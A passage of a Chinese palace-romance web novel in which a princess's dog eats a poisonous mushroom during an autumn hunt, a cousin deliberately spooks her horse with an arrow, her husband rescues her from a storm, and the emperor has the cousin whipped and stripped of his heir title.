皇帝也对此乐见其成,有时兴致来了,还会亲自赐婚,成就一段佳话。 不过魁首是谁逐渐变得没什么悬念了,近些年魁首都被谢家包揽了。十几年前都是骠骑大将军,近些年变成了谢昀。 往年还会有人上前问一问谢昀的意思,今年他成了驸马,众人的目光便只能转向别处。 观礼台周围及空地外围被前来观战的人群围得水泄不通,不仅有各路官员,更有许多精心打扮过的官家小姐和夫人们。 姒华欢也坐在高台上,百无聊赖拖着腮,看着台下熙熙攘攘的人群。 各家小姐们打扮得花枝招展,三三两两聚在一起,对着场中即将上场的年轻公子们指指点点,低声议论,脸上带着期待的表情。 男子们则大多摩拳擦掌,牵着各自的骏马,或调试弓弦,或活动筋骨,努力做出从容不迫的姿态,眼神却时不时瞄向高台。 显然都希望能在这万众瞩目的场合一展身手,博得圣心,或许还能赢得某位贵女的青睐。 这时,叶殊宜走了过来,在姒华欢身边的空位坐下。 “殊宜?你怎么没去?”姒华欢好奇地问。 大越从不小看女子,无论男女皆可一战。以叶殊宜的骑射功夫和脾性,在这种场合定然不会缺席。 叶殊宜叹了口气,转了转自己的左臂肩膀,“昨日狩猎时劲儿没用对,好像拉伤了,有点疼,不太使得上力。大哥让我休息几天,不准我下场。” 还好秋猎为时半月,距离结束还早,不然她可真的要懊悔不已了。 姒华欢:“看过太医了吗?” “找临风看过了,放心吧,小事,养几天就好。”叶殊宜摆摆手。 姒华欢这才放心下来,目光重新投向台下,只一眼,便捕捉到了一个熟悉的身影。 谢昀今日穿着一身玄色窄袖劲装,腰间束着同色革带,勾勒出宽肩窄腰的挺拔身形。 他并未像其他人那般紧张或躁动,只是随意地站在那里,检查着手中的长弓。身姿如松,气度沉静,却偏偏有种令人无法忽视的强大气场,像是天生的焦点。 阳光落在他身上,仿佛为他镀上了一层金边,俊美得有些不真实,在人群中鹤立鸡群,想不注意到他都难。 似乎是感受到了她的注视,心有灵犀般,谢昀忽然抬起头,精准地朝观礼台她的方向望来。 四目相对,那双深邃的桃花眼里漾开一抹笑意,唇角勾起,眉宇间带着几分意气风发,朝她扬了扬下巴。 姒华欢心头一跳,像是做了什么亏心事被抓包,慌忙移开目光,装作若无其事地看向别处。 这家伙眼神怎么这么利。 若是让他知道自己刚看他出了神,定会觉得自己在时刻关注他,尾巴更是要翘到天上去了! 为了掩饰刚刚的出神,姒华欢故意扫了一圈台下其他人,才发现站在谢昀身旁的,竟然是林珩。 姒华欢忍不住低声问旁边的叶殊宜:“林珩不是文官吗?怎么也来参加这骑射比试?” 叶殊宜顺着她的目光看去,道:“他毕竟是林相家的公子,就算再怎么不受宠,该学的君子六艺总归是学过的,骑射自然也会一些。来凑个热闹,也不稀奇。” 姒华欢点了点头。也是,世家子弟总归是要学这些的。 很快比试正式开始,首先是固定靶射箭,参赛者依次上前,张弓搭箭。 姒华欢本来对这场比赛没什么特别的期待,随意看看。看着看着,她的视线又不自觉飘向了谢昀。 只见他接连两箭,箭矢如同长了眼睛一般,精准无比地钉入了远处的靶心,引得周围一片低低的喝彩声。 她眼角余光扫过旁边的林珩,他挽弓的姿势同样标准,神色平静,不见丝毫紧张,射出的两只箭竟然也丝毫不差地没入了靶心。 姒华欢眼中闪过一丝惊讶,林珩的射艺竟如此高超? 叶殊宜显然也注意到了他,忍不住“咦”了一声,凑近姒华欢低声道:“这林侍郎深藏不露啊,身手竟如此了得!往年可从没见他显露过,谢景初今年可算是遇到对手了。” 她难掩兴奋,毕竟往年谢昀在这项比试中几乎是一骑绝尘,毫无对手。 姒华欢听着耳边不绝于耳的“嗖嗖”破空声,心里隐隐还是有些不适,不由得还是回想起前世的死亡经历。 正想找个借口先行离开,突然一个侍女神色慌张,小跑到台下找人,见场上箭矢乱飞,只好放弃,跑上观礼台。 她左找找,右看看,终于找到目标,来到姒华欢面前,急声道:“公主殿下不好了!焦焦……焦焦它不见了!” 第53章 白白嫩嫩的小蘑菇 姒华欢一听焦焦不见了, 霍然起身,也顾不得看什么比试了,对叶殊宜匆匆说了句“我先走了”, 便提着裙摆, 快步跟着那报信的侍女往营帐方向走。 “什么时候不见的?在哪不见的?”姒华欢边走边语速极快地问。 那侍女此刻早已吓得六神无主,带着哭腔回道:“回殿下, 早上奴婢喂过焦焦, 看天气好, 就想着带它去营地旁边的林子边缘遛一遛, 让它自己跑跑。奴婢、奴婢就转头看了看别处的功夫,再一回头,它就不见了!奴婢四处叫它的名字, 怎么都找不到……” 姒华欢心中一紧。 焦焦虽然是谢昀的狗,但是去年秋猎时她捡到的。当时瘦骨嶙峋, 腿还瘸着, 可怜兮兮地缩在草丛中, 她看着不忍,便带回了营帐。一年下来,那小家伙早已被养成圆滚滚的一团。 她平时总说那大肥狗烦人,其实它挺通人性, 极听她的话。昨日姒明渊来找茬,她不过随口一喊, 那傻狗就真的毫不犹豫冲上去, 给姒明渊屁股上狠狠咬了一口。 到底相处了一段时日,也生出几份感情,若是丧命于此,终究让人于心不忍。 焦焦虽长得肥壮, 但毕竟日日娇养在府中,除了吃和萌没什么本事。这猎场山林中有不少豺狼虎豹,它万一遇到了可怎么办? 姒华欢离开时的动静虽然不大,但神色匆忙还是引起了不少人的注意。 台下,正准备下一轮的谢昀敏锐地察觉到看台上的骚动,抬头望去,正好看见姒华欢与侍女惊慌离去。 意识到可能是出了什么事,他也没心思再比试,将手中的弓往身旁侍卫手里一塞,大步跟着姒华欢离开的身影而去。 “怎么了?出什么事了?”谢昀很快赶上她们的脚步,来到姒华欢身边。 姒华欢看到他,像是找到了主心骨,抓住他的衣袖,急声道:“焦焦,焦焦它不见了!” 谢昀反手握住她冰凉的手,安抚道:“别急。”他又转向那名侍女,“告诉我具体情况。” 他听完那侍女语无伦次的复述,立刻召来自己的亲卫以及营地当值的部分宫人侍卫,迅速分成几队,以焦焦失踪的地点为中心,向四周散开进行搜寻。 “它肯定是跑进围猎场了。”姒华欢仰头看着谢昀,眼中水光潋滟,满是依赖与急切,“怎么办?林子那么大,里面……” 看着她这副快要哭出来的模样,谢昀心头一软,握紧了她的手,“别怕,焦焦很聪明的,或许只是贪玩跑远了,我陪你一起去找,好不好?” 姒华欢心乱如麻,只能点头。跟着搜寻队伍,在林子边缘焦急地呼唤着焦焦的名字,声音在林间回荡,却得不到任何回应。 “侯爷,这边没有!” “这边也找过了,没有发现!” 侍卫们陆续回报,都是坏消息。时间一点点过去,姒华欢的心也一点点沉了下去。 就在她认为焦焦凶多吉少时,一个在稍远处搜寻的侍卫忽然高声喊道:“侯爷!殿下!这里有发现!” 众人精神一振,纷纷循声赶了过去。只见那名侍卫指着一处低矮的灌木丛,树枝上赫然挂着几簇显眼的白毛! 姒华欢的心瞬间凉了半截,脑中不受控制地上演可怕的画面:焦焦被某种猛兽盯上,奋力挣扎逃跑,在这里被猛兽扑住,拼命蹬踹挣扎,才在树枝上蹭下了这几簇毛发…… 焦焦是不是已经…… 姒华欢抬头看谢昀,声音控制不住地颤抖:“怎么办啊谢昀……” 谢昀弯腰,小心地捡起了那撮毛,在指尖捻了捻,又蹲下身,仔细查看地上的痕迹。泥地上有一些梅花状的爪印,以及被踩倒的草叶。 谢昀站起身,看向姒华欢,眼神沉着冷静,带着令人安心的力量:“它应该刚进去不久,别怕,我们进去找。” 他立刻做出安排,让一部分侍卫继续在营地周边扩大范围搜寻,以防焦焦又自己绕了回去。自己则点了另外几名身手最好的侍卫,准备深入山林搜寻。 他看着紧抓他不松手的姒华欢,道:“林中情况不明,树木茂密,可能还有野兽踪迹,你……” “我要去!”姒华欢毫不犹豫地打断他,没有丝毫商量的余地。 让她在外面干等着,只会让她更加焦灼难安。 看她坚定的眼神,谢昀知道拦不住她,只得妥协:“跟紧我。一会儿无论发生什么情况,只管往我身后躲。” 一行人深入树林,一名侍卫在前方开路,用佩剑劈砍挡路的枝条,另外几名侍卫则分布在谢昀与姒华欢的两侧及后方,将他们护在中间。 往里走了约莫一盏茶的时间,突然,姒华欢脚步一顿,竖起耳朵,紧张地拉了拉谢昀的手:“你听!是不是有声音?” 众人立刻停下脚步,屏息凝神。 果然,从左侧前方隐约传来一阵微弱且断断续续的呜咽声。 就像是焦焦平时焦急地讨要小肉干时,从鼻子里发出的那种哼哼唧唧的声音! “在那边!”姒华欢眼睛一亮,立刻松开谢昀的手,朝着声音来源的方向跑去。 “小心脚下!”谢昀连忙跟上,护在她身侧。 拨开一片茂密的灌木丛,眼前的景象让所有人一愣。 只见焦焦圆滚滚的身体在地上侧卧着,四条腿时不时抽搐一下,嘴里哼哧哼哧的,眼神迷离,嘴角甚至还挂着一小撮白沫。 “焦焦!”姒华欢惊呼一声,就要扑过去。 “小心!”谢昀一把拉住她,自己先一步上前,蹲下身,动作迅速地检查了焦焦的周身。 仔细翻看了焦焦蓬松的的毛发和四肢,竟然一点伤口都没有,没有撕咬搏斗的痕迹,也没有血迹。 没有外伤,但焦焦的状态明显不对,四条腿扑腾扑腾似乎要去扑什么东西。 谢昀示意旁边的侍卫:“先把焦焦带回去。” 一名侍卫上前,试图将焦焦抱起来,结果一用力,脸都憋红了,抱着没走两步,焦焦一个劲往下掉。 这狗实在是太沉了! 最后还是又上来一名侍卫,两人合力,才勉强将这瘫软如泥的白团子给抬了起来。 一行人匆匆返回营地,直接带到了姒华欢的营帐。 姚黄看到焦焦的情况,急道:“太仆寺那边只有医马的,没有医狗的,这可如何是好?” “去找江鹤舒。”谢昀道。 不一会儿,江鹤舒提着药箱匆匆赶来。 一听是要给狗看诊,顿时无语道:“公主殿下!侯爷!我是太医!不是兽医!是治病救人的!只能给听得懂人话,且说得了人话的看病!你们这一家三口有事都来找我啊!” 姒华欢此刻也顾不得许多了,说道:“临风,这里一时半会儿去哪找兽医?人和狗也没有差很多,你就先看看吧!” 听听,这说的什么话?什么“人和狗也没有差很多”? 谢昀在一旁道:“临风你医术高明,比太医署那帮老头法子多,我们觉得只有你能帮这个忙。” 这一顶大高帽戴的。江鹤舒看着地上那吐着白沫,四条腿乱刨的大白狗,最终还是无奈叹了口气,认命地走上前。 他先是翻了翻焦焦的眼皮,又掰开它的嘴看了看它的舌头,眉头紧皱,问一旁负责照料的侍女:“这狗今日都吃了什么?” 侍女连忙回答:“早上吃的是只吃了昨日猎回来的山鸡和兔肉,其他的就……就是平日里喂的肉干,喝了些水。” 江鹤舒陷入沉思。吃的没什么问题,也无明显外伤,那会是什么情况呢? “哦,对了。”侍女突然想起来什么,补充道,“在林子边遛达的时候,它好像啃了点草地上的草,还有……几朵小蘑菇。” “小蘑菇?”江鹤舒瞬间警觉,“什么样的蘑菇?” “就是白白的……”侍女说不太清,想到了个好法子,“江太医,奴婢去采来给您看!” 她不敢怠慢,连忙跑回之前遛狗的地方,凭着记忆,采了几朵同样品种的野生小蘑菇回来。 那蘑菇长得白白嫩嫩,伞盖光滑,柄纤细,看起来确实和平时吃的某种蘑菇有几分相似。 江鹤舒接过那蘑菇,只看了一眼,便无语道:“哎呦!这是白毒伞啊!长得是真漂亮,可它是真有毒啊!这傻狗,肯定是把这毒蘑菇当成零嘴给吃了!” 众人:“!?” 搞了半天,这么大阵仗,以为是遭遇了猛兽袭击或者暗害。结果是这傻狗自己瞎吃,把自己吃中毒了! 江鹤舒指着地上又开始对着空气突然“汪汪”大叫的焦焦,没好气道:“看到了吗?这就是中毒产生幻觉了,所以才迷迷瞪瞪,胡言乱……胡吠乱叫。” “算它命大,吃的可能不多,或者说好在它比较胖。既然现在还有精神叫唤,说明毒性没到立刻要命的地步。先别给它吃东西了,想办法多灌点水下去,明天再看看情况吧。” 众人看着地上那因为幻觉时而哼哼、时而咆哮的焦焦,又是好笑又是好气,悬着的心总算放下了大半。 原来虚惊一场,都是这贪嘴的肥狗自己闯的祸! 它跑进林子,是因为产生幻觉,看到了什么东西,跟着进去的。 “你的狗。”姒华欢迅速划清界限,不想跟这条傻狗扯上一丁点的关系。 丢死人了。 “也是你的狗。”谢昀偏要拖她下水。 姒华欢:“你可别瞎说啊,我跟它不熟。” 谢昀:“你给它起的名字。” 怎么还有这茬,姒华欢闭眼:“……改了吧。” 谢昀微笑:“才不改。”—— 作者有话说:焦焦——夫妻共同财产 第54章 “别怕,我来了,我找到…… 连日来的练习颇有成效, 姒华欢自觉对墨玉的操控已经娴熟了很多。虽比不上那些自幼在马背上长大的将门之后,但至少能稳稳操控马匹,不至于手忙脚乱了。 她驭马慢跑到一直站在场边注视着她的谢昀面前, 勒住缰绳, 微微扬起下巴,脸上带着得意, 双眸亮晶晶的:“谢昀, 你看!我现在骑得很好了吧!明天我就能和你们一起进狩猎场了!” 她终于能进狩猎场里, 体验下真正的秋猎了。 谢昀看着她因运动而伴着健康红晕的脸颊, 开口却是拒绝:“不行。” 姒华欢脸上的笑容瞬间垮了下去,不满道:“为什么?我都练得这么熟了!” 谢昀走近几步,伸手抚了抚墨玉的脖颈, “狩猎场里面地势复杂,林木茂密, 并非平坦马场可比。况且万一有被惊扰的野兽窜出, 你如何应付得了?” 他慢悠悠道:“除非……” “除非什么?”姒华欢俯身, 凑近他追问。 “除非……”谢昀唇角勾起一抹似笑非笑的弧度,“我带你一起进去。” 姒华欢想了想,觉得这个提议尚可接受,便点头:“行啊, 你走前面,我跟在后面, 没问题。” 谢昀摇了摇头:“不, 是你坐在前面,我坐在后面。” 就像那日教她骑马时一样。 姒华欢一愣,随即反应过来,这家伙又没个正形! “你!”她想也不想, 就举起一直握在手中的马鞭,朝谢昀身上抽去。 谢昀竟也没躲,结结实实挨了一下。 好在姒华欢并没有真的用力,马鞭落在他的手臂上,带来一点麻麻但莫名有点爽的刺痛。 下午,嘉平帝兴致高昂,亲自点了包括太子、谢昀以及一众武将勋贵在内的队伍,浩浩荡荡进入狩猎场中心区域,进行一场规模更大的狩猎,带走了营地大半的热闹。 姒华欢望着逐渐消失在山林深处的队伍,蠢蠢欲动。 她会骑马了,也会一点射箭了,凭什么只能待在营地里? 转身她就去了马场,将墨玉牵了出来。 姚黄跟在她身边,忧心忡忡:“殿下,狩猎场里面危险,还是让我陪你一起去吧。” 姒华欢翻身上马,动作比前几日流畅了许多,她坐在马背上摆摆手:“放心,我又不傻,父皇他们不是把猛兽都往中心区赶了吗?我只在外围转一转,看看里面到底是什么样子的,绝不往深处走。” 姚黄和匆匆赶来的魏紫对视一眼,都从对方眼中看到了无奈和担忧,可如今陛下、太子殿下以及明安侯都不在营地,没人能替她们做主,她们两个做奴婢的,除了听从公主的话还能如何? 最终魏紫只能松开手再三叮嘱:“殿下千万小心,一旦觉得不对立刻回来。” “知道啦。”姒华欢应了一声,轻轻一夹马腹,墨玉便听话地迈开步子,载着她不紧不慢地踏入了狩猎场。 初入林中,姒华欢立刻感受到了与外面截然不同的氛围,新奇地四处张望。 她深吸一口气,觉得心旷神怡。这才有点狩猎的感觉嘛。 没走多远,她就看到不远处的草丛微微晃动,一只通体雪白的小兔子正竖着耳朵警惕地张望。 姒华欢心头一动,取下挂在马鞍旁的弓,从箭壶中抽出一支箭,认真搭箭、开弓、瞄准。 “咻——” 箭如姒华欢期望般飞了出去,但离兔子还有一段距离,就无力地扎进了草丛,小白兔受惊,“嗖”一下蹿得无影无踪。 姒华欢倒也不气馁,反而觉得有趣。 她本就不是为了猎取什么,只是进来体验一番。能射中固然好,射不中也没什么大不了。 她收起弓,继续骑着墨玉往林子上深一点的地方踱去。 就在姒华欢欣赏着林间景致,盘算着再往前走一小段就掉头回去时,一个熟悉的身影骑着马,从一棵大树后转了出来,恰好挡在了她的去路上。 不是别人,正是那令人厌烦的姒明渊。 “这不是我们金尊玉贵的康乐公主吗?怎么一个人偷偷溜进来的?你的好驸马呢?没像条狗似的跟在你屁股后面保护你?” 姒明渊原本跟在嘉平帝狩猎队伍的末尾,随从悄悄来报说,看到康乐公主独自一人骑马进了狩猎场,他立刻觉得机会来了,便悄无声息地脱离队伍,快马加鞭赶了过来。 姒华欢听完他的话,眉头立刻蹙紧,冷哼一声:“屁股上的伤好了,又能出来蹦跶了?” 她开口直往姒明渊痛处上戳,专挑他最屈辱的事说。 姒明渊果然被激得脸色铁青,指着姒华欢怒道:“康乐!你少在这牙尖嘴利!那日不过是小爷懒得与你计较,今日我看还有谁能来帮你!” “帮我?”姒华欢像是听到了什么笑话,用眼角余光睨他,姿态高傲,“对付你这种货色还需要人帮?姒明渊,你除了会躲在长宁身后耍阴招,或者像这样拦路吠叫,还会点什么正经本事?” “噢,我忘了,你最大的本事大概就是投了个好胎,有个好父王。可惜呀,龙生九子还各有不同呢,更何况你。” 太恶毒了! 姒明渊气得浑身发抖,眼睛都红了,握着缰绳的手捏得指节泛白。 突然,天际传来一声沉闷的雷响,豆大的雨点毫无征兆噼里啪啦地落下来,瞬间就打湿了地面和树叶。 这雨下得又大又急,姒华欢没带蓑衣,实在不是吵架的好时机。 她懒得再理会姒明渊,一扯缰绳调转马头,准备原路返回。 然而就在掉头转身的刹那,身后的姒明渊眼中凶光一闪,飞快取出一支箭,搭上弓弦。 他原本想射墨玉的前腿,让马匹受惊,将姒华欢摔下来。但因为姒华欢突然掉头,这一箭失了准头,堪堪擦着墨玉的前腿飞过。 虽然没射中,但这一下也足以让温顺的墨玉受到惊吓。 墨玉发出一声嘶鸣,扬起前蹄,身体剧烈扭动起来。 姒华欢猝不及防,她虽练习了骑术,但何曾经历过这等惊马的局面。 她尖叫一声,双手死死抓住缰绳和马鞍,却根本无法控制狂乱的墨玉。剧烈的颠簸中,她整个人被墨玉狠狠甩飞了出去。 “啊!” 天旋地转间,她重重砸向旁边一处被茂密草木覆盖的斜坡。当她滚落进去才发现,这个坡度远比看起来的要陡。 姒华欢身体不受控制地沿着陡坡向下翻滚,一圈、两圈……不知道多少圈。 视线里只有飞速掠过的模糊绿影和灰蒙蒙的天空,尖锐的树枝和石块不断刮擦着她的身体,带来阵阵刺痛。 她试图抓住些什么来停下,可徒劳无功,剧烈的翻滚让她头晕目眩,胃里翻江倒海。 不知滚了多久,终于滚到一块平地上才停了下来。 姒华欢趴在湿冷的草地上,浑身像散了架一样动弹不得,雨水无情地浇在她的身上,冰冷刺骨, 她眼前阵阵发黑,过了好一会儿,强烈的眩晕感才稍稍缓解。她勉强用手肘撑起上半身,剧烈的疼痛立刻从全身各处传来。 低头一看,自己狼狈不堪,好看的衣裙早已被泥水和雨水浸透,紧紧贴在身上,又沉又冷。袖子被划破了好几道口子,露出的手臂上满是擦伤,火辣辣地痛,头发湿漉漉的,粘在脸上脖子上。 她拨开糊在眼前的头发,茫然地环顾四周。 四周看起来极其空旷,姒华欢根本不知道自己滚了多远,也不知道自己此刻身在何处,彻底迷失了方向。 “有人吗?” “救命啊!有人吗?” 她试着喊了几声,声音被哗啦啦的雨声吞没,没有任何回应。 她不能坐以待毙。 她尝试顺着坡往上爬,可草叶和泥土都湿滑不堪。她手脚冰冷地爬了几步,非但没能上去,反而因为用力,胳膊上的伤口传来钻心的疼痛,脚下一滑,又狼狈跌坐回泥水里。 尝试了几次都失败后,姒华欢再也忍不住,“哇”一声哭了出来,泪水混着雨水流了满脸。 她可是大越最尊贵的公主,何曾受过这样的委屈! 浑身湿透,沾满泥污,衣服破烂,又冷又痛,还被独自扔在这荒郊野岭的鬼地方。 该死的姒明渊,她不会放过他的! 哭了一会儿,姒华欢抬起脏兮兮的袖子擦了擦眼泪。视线模糊中,她看到不远处有一颗格外高大粗壮的古树,枝叶茂密,树冠像一把巨伞。 去那里躲躲雨吧,总比在这里一直淋着强。 她倔强地站起身,拖着湿透沉重的裙摆,往那棵大树走去。 然而,她刚走出没两步—— “咔嚓!轰隆——” 一道刺眼的闪电撕裂天空,紧接着,一声震耳欲聋的惊雷仿佛在头顶炸开。 那道闪电不偏不倚,正正劈在了她刚刚想要去躲雨的那颗大树上! 霎那间火光一闪,粗壮的树干被劈开一道裂口,树干焦黑,冒着缕缕青烟。 姒华欢被吓得双腿一软,一屁股坐到地上,连滚带爬地回到刚刚待的地方,抱着膝盖缩成一团,像只受惊过度的小兽。 吓死她了呜呜呜……也不知该说她命大还是倒霉。 她抬起泪眼看向对面的树林,隐约能看到一些被踩踏过的痕迹,像是有一条若有若无的小路。 或许,可以从那边试试看能不能出去。 她用力抹了把脸,再次站起来,深一脚浅一脚向对面方向走去。 忽然,风中隐约传来了人的呼喊声,很遥远,很模糊,听不真切。 是有人来找她了吗? 姒华欢精神一振,连忙理了理贴在脸上的头发。即便是在这种境地下,她的骄傲不允许让人看到她如此狼狈凄惨的模样。 她刚整理好,“汪汪!汪汪汪!”一阵急促而熟悉的狗叫声,穿透雨幕,由远及近。 紧接着,一个白中带黄的圆滚滚身影奋力从对面草丛中窜了出来,跑得飞快,直直朝姒华欢奔来。 是焦焦! 它跑到姒华欢面前,焦急地围着她打转,湿漉漉的鼻子不停拱着她的手和腿,嘴里不断发出呜呜声,尾巴拼命摇着,甩起无数泥点子。 姒华欢看着眼前这个在暴雨中艰难寻来,弄得浑身脏兮兮,却满眼都是自己的焦焦,也顾不得什么形象,蹲下身,一把抱住焦焦放声大哭起来。 “焦焦……呜呜呜……居然是你找到我了……” 她怎么也没想到,在所有人都没找到她的时候,第一个找到她,给予她安慰的,竟然是这条她平时总嫌弃的大肥狗! “呜呜呜……我以后再也不叫你大肥狗了……我真的,没白给你吃那么多肉干……呜呜……” 焦焦似乎能感受到她的悲伤,用毛脑袋抵着她的头,安静地任由她抱着。 这时,一阵急促的马蹄声和脚步声临近。 “姒华欢!” 是谢昀的声音! 姒华欢猛地抬起头,泪眼朦胧中,看到一道熟悉的高大身影,马还未完全停下便急不可耐地跳下马,朝她狂奔而来。 他甚至连蓑衣都没有穿,浑身早已湿透,玄色的劲装紧贴在身上,勾勒出精壮的线条。雨水顺着他的下颌线不断滴落,模样比她好不了多少。 他那双总是或戏谑或沉静的眼睛,此刻盛满了慌张,嘴唇甚至有些发白。 “谢昀……”姒华欢看到他,刚刚止住一点的泪水再次汹涌而出。 谢昀几个箭步冲到她面前,甚至来不及喘匀气息,伸出微微发颤的双手,小心翼翼地捧住她冰凉的小脸,目光极速在她身上扫视。 他声音沙哑,大拇指温柔地在她脸上摩挲:“别怕,我来了,我找到你了。” 第55章 抬手摸到了他壁垒分明的…… 姒华欢看着他, 一直强撑的坚强彻底瓦解,松开焦焦,扑进他的怀里, 双手紧紧环住他的脖颈, 将脸埋在她颈窝处放声大哭,语无伦次: “你怎么才来……呜呜……我好害怕……我以为我要死在这里了……有雷……树被劈焦了……我爬不上去……我好冷好痛呜呜呜……” 她哭得极尽委屈, 谢昀感受到怀中人儿的颤抖和冰冷, 心像是被狠狠揪住, 又疼又怒。 他收拢手臂, 将她更紧地拥入怀中,要将她揉进骨血里一般。 他低下头,脸颊贴着她湿冷的发顶, 声音温柔,安抚道:“没事了, 没事了, 别怕, 是我不好,我来晚了。没事了,有我在,不会再让你有事了。” “我们回去。”谢昀一把将她打横抱起, 转身朝着来时的方向大步走去。焦焦甩了甩身上的泥水,跟在他们脚边。 回到营地, 早已得到消息的姚黄魏紫等人早已备好热水、干爽的衣物和姜汤, 焦急地等在营帐外。 看到谢昀抱着公主回来,众人皆是松了一口气,又对她如此狼狈的模样一阵心疼。 谢昀将姒华欢小心翼翼地放在铺着厚厚皮毛的软榻上,“我先出去, 有事叫我,嗯?” 姚黄和魏紫立刻上前,为姒华欢换下湿衣,伺候她沐浴擦洗,为她换上干净的衣服,妥善安置在床榻上才退出去。 谢昀掀帘进内,身后跟着江鹤舒。 姒华欢此刻正靠在软枕上,脸色依旧苍白,湿发被仔细擦干后松散披在肩头,更显得她脆弱可怜。 江鹤舒上前,先仔细查看了姒华欢手臂上的伤口。好在伤口不深,就是些被树枝碎石划破的细微红痕。 他用沾了药酒的棉团小心擦拭,药酒刺激了伤口,一阵尖锐的刺痛让姒华欢忍不住倒吸一口冷气,眼眶倏地红了,牙齿死死咬住下唇,才勉强没有痛呼出声。 谢昀站在一旁,看得眉头紧锁,就像是疼在他身上一般,干着急。他忍不住对江鹤舒道:“临风,你动作不能再轻些吗?” 江鹤舒正全神贯注清理伤口,闻言无奈抬头:“我已经够轻了,再轻就清理不干净了,极易引发溃烂发热。要不你来?” 谢昀哪里下得去手,闷声道:“还是你来吧。” 他将自己的手伸到姒华欢面前,道:“别咬着自己了,若是疼,就咬着我的手吧。” 姒华欢闻言下意识看了眼江鹤舒,见他没有反应,只专心处理伤口,还是伸手将谢昀的手推开,“谁要咬你……起开……” 江鹤舒加快了手上的动作,迅速清理完所有的伤口,敷上清凉阵容的药膏,再用干净的细布包扎好。整个过程虽然尽量轻柔,仍让姒华欢疼出了细细的冷汗。 江鹤舒又开了副安神压惊、驱寒防风的方子,便退出去煎药了。 “蓁蓁啊!朕的蓁蓁怎么样了?” 帐外突然传来嘉平帝焦急浑厚的声音,伴随着一阵杂乱的脚步声,营帐帘子被人从外面掀开。 是闻讯匆匆赶来的嘉平帝、皇后和姒华容等人,帐内顿时显得有些拥挤。 嘉平帝几步冲到床前,看着女儿苍白的小脸,裹着细布的手,心疼得无以复加,连声道:“蓁蓁,朕的乖女,你怎么样了?伤到哪里了?疼不疼?可把父皇担心坏了!” 他率一众人围猎途中下起了雨,赶回营地后一会儿,姚黄和魏紫满面急色来报,说康乐迟迟未归。 他立刻差大队人马进林寻找,万幸找到,但不够及时,还是让他的乖女遭了不少罪。 姒华欢看到父皇母后和哥哥都来了,鼻尖一酸,止住不久的眼泪又有要决堤的趋势。 “蓁蓁,这到底是怎么一回事啊?”皇后扑到床边,心疼地握住女儿冰凉的手,“你怎会滚落到那么远的地方?” 姒华欢握紧了拳头,红着眼眶,怒道:“是姒明渊!” 她看向嘉平帝,一字一句道:“我骑着马在外围走着,他突然出现,言辞无状,出言挑衅。我懒得与他计较,正要离开,他竟出手用弓箭射向我的马!墨玉受惊,将我甩了出去,我才滚落陡坡。” 她越说越委屈,想起自己在暴雨中孤立无援,还险些被雷劈中,伸出手臂一把抱住嘉平帝的胳膊。 “父皇我要杀了姒明渊!我差点就再也见不到父皇母后了呜呜呜……” 女儿的哭声如同一把刀,一刀刀割在嘉平帝的心上。他轻拍着女儿的背安抚,身上的温和瞬间被雷霆之怒所取代,转头厉声吩咐:“来人!去将晋王和晋王世子给朕带来!” 不过片刻,晋王和姒明渊便被“请”了过来。 晋王年近五十,面容与嘉平帝有几分相似,眉目透着儒雅和善。他先是带着儿子,规规矩矩向嘉平帝行了礼。 又转向姒华欢,关切道:“康乐,你怎么样?没受伤吧?” 说着,晋王回身,看似用力地拽了一把试图往他身后藏的姒明渊,斥道:“还不快向你皇伯父和康乐姐姐赔罪!都是你小孩子心性,胡闹不知轻重!” 他这番话,看似严厉,实则轻描淡写,直接将姒明渊恶意惊马害人的行为,定性为小孩子胡闹不知轻重,试图利用自己与嘉平帝的兄弟情分和长辈身份,将大事化小。 姒明渊被他父王拽出来,吓得浑身发抖,“噗通”一声跪倒在地:“皇伯父恕罪!我……我不是故意的,我就是想、想吓唬她一下,没想害她坠马……我……” “小孩子心性?胡闹?”嘉平帝冷笑一声,怒火更炽,目光如炬,“用箭射向康乐,致使康乐坠马,险些丧命!皇兄,你看看你教的好儿子!目无尊卑,小小年纪如此心肠歹毒,这是小事吗?!” 晋王没想到嘉平帝如此不留情面,脸上的从容也维持不住了,说道:“陛下息怒,此事确是渊儿之过,我回去便重罚这个逆子,严加管教,绝不再犯。康乐受此惊吓,我心中亦是万分愧疚。他们毕竟是堂姐弟,往后定当和睦相处……” “往后?”嘉平帝毫不客气地打断他,“还有往后?今日他敢对康乐下手,明日是不是就敢对太子,对朕下手!?如此逆子,不严加惩处,何以正纲纪,儆效尤!” “朕看,也不必你回去管教了。皇兄你下不了手管教,那朕今天这个做伯父的,就代你好好教育教育这个不知天高地厚的东西!” 嘉平帝转向侍立一旁的羽林军统领,威严道:“来人,将晋王世子拉出去,鞭刑三十!” 鞭刑! 众人心中皆是一凛。这可比常见的笞刑要严重得多! 行刑用的鞭子浸过盐水,一鞭下去便是皮开肉绽,三十鞭下去,姒明渊那养尊处优的身子,不死也得去半条命! 最重要的,是鞭刑的羞辱意味大于□□惩罚。特制的鞭子会在晋王世子的臀上会留下永久性的疤痕,意在让受刑人刻骨铭心,一辈子都记住这个教训! 姒明渊一听,吓得魂飞魄散,也顾不得什么规矩体统了,瞬间跪倒在地扑过去抱住晋王的大腿,哭喊道:“父王!父王救我!我不要鞭刑!我会死的!我知道错了,我再也不敢了!” 晋王的脸色也是变了又变,唇线紧抿。 他知道儿子这次闯的祸实在太大,嘉平帝正在气头上,但他还是试图争取,保住自己和儿子的体面。 他对着嘉平帝深深一揖,语气沉痛:“陛下,臣知这逆子罪无可恕,但鞭刑是否过于严苛?渊儿尚年幼,能否换个法子惩戒他?这般动刑,闹得人尽皆知,于皇室颜面亦有损啊……” “年幼?康乐就不年幼吗?!皇兄还在这里讲颜面,他意图谋害康乐的时候,怎么不想想皇室颜面?他放箭的时候,怎么不想想会人尽皆知?现在知道怕了?晚了!” 嘉平帝重重冷哼一声,负手而立,不容置疑道:“带走!立刻行刑!谁敢求情,同罪论处!” 最后一句,彻底堵死了晋王和任何可能想要求情的人的嘴。 “是!”羽林军统领不敢怠慢,立刻带着两名高壮的羽林军上前,毫不留情地架起瘫软如泥、哭喊不休的姒明渊,拖出了营帐。 晋王看着儿子被拖走的身影,脸色铁青,嘴唇动了动,最终却什么也没能说出来,只是袖中的拳头死死攥着。 很快,帐外传来令人头皮发麻的鞭子打在皮肉上的清脆响声,和姒明渊凄厉的哭嚎和惨叫声。 嘉平帝看着晋王那强忍怒意与痛心的模样,心中并无半分动摇,说道:“姒明渊今日所为,阴狠毒辣,目无君上,残害皇嗣,其心可诛!如此品行败坏之人,焉能袭承王爵,为宗室表率?即日起,褫夺姒明渊晋王世子之位。至于新的世子人选,皇兄还是回去好好斟酌,另立贤能吧!” 